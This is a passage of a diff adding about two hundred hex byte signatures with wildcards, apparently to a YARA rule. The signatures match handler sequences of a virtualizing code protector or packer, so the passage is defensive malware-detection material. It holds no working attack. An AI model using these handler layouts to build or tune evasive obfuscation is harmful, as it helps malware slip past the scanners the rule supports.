+		$100 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$101 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$102 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$103 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$104 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$105 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$106 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$107 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$108 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+		$109 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+		$110 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+		$111 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+		$112 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+		$113 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+		$114 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+		$115 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$116 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$117 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$118 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$119 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$120 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$121 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$122 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$123 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$124 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$125 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$126 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$127 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$128 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$129 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$130 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$131 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$132 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$133 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$134 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$135 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$136 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$137 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$138 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$139 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$140 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$141 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$142 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$143 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$144 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$145 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$146 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$147 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$148 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$149 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$150 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$151 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$152 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$153 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$154 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$155 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$156 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$157 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$158 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$159 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$160 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$161 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$162 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$163 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$164 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+		$165 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+		$166 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+		$167 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+		$168 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+		$169 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+		$170 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$171 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$172 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$173 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$174 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$175 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$176 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+		$177 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$178 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$179 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+		$180 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+		$181 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+		$182 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+		$183 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$184 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$185 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+		$186 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+		$187 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$188 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$189 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$190 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$191 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$192 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$193 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$194 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$195 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$196 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$197 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$198 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$199 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$200 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$201 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+		$202 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$203 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$204 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$205 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$206 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+		$207 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+		$208 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+		$209 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$210 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$211 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$212 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$213 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$214 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+		$215 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+		$216 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$217 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+		$218 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+		$219 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$220 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+		$221 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$222 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$223 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$224 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+		$225 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+		$226 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+		$227 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$228 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$229 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$230 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$231 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$232 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$233 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$234 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$235 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+		$236 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+		$237 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$238 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$239 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$240 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+		$241 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$242 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$243 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+		$244 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$245 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$246 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$247 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$248 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$249 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$250 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$251 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$252 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$253 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$254 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$255 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+		$256 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$257 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$258 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$259 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$260 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$261 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$262 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$263 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$264 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$265 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$266 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$267 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$268 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+		$269 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$270 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$271 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+		$272 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+		$273 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+		$274 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+		$275 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+		$276 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+		$277 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+		$278 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+		$279 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+		$280 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+		$281 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+		$282 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+		$283 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+		$284 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+		$285 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+		$286 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+		$287 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+		$288 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+		$289 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+		$290 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+		$291 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+		$292 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+		$293 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+		$294 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+		$295 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+		$296 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+		$297 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+		$298 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+		$299 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+		$300 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+		$301 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+		$302 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+		$303 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+		$304 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+		$305 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+		$306 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+		$307 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+		$308 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+		$309 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+		$310 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
